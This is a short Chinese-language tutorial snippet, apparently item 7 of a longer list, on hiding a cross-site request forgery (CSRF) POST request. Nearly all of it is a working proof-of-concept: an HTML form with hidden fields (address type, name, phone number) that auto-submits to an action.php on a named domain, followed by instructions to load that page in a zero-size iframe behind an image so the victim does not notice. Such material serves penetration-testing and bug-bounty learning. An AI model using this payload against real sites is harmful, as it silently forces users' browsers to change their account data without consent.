7.CSRF漏洞 POST请求隐藏

首先是新建一个CSRF PoC html文件

 <form action="https://bug.chinacycc.com/action.php" method=POST>
      <input type="hidden" name="type" value="add&#95;address" />
      <input type="hidden" name="info" value="111111" />
      <input type="hidden" name="name" value="11111" />
      <input type="hidden" name="mobile" value="18888888888" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="addr&#95;info" value="1" />
</form>
<script> document.forms[0].submit(); </script>

然后用另一个html将其引入,再做隐藏

<img src="这里放一个图片的url">
<iframe src="这里放第一个文件的路径" width="0" height="0"></iframe>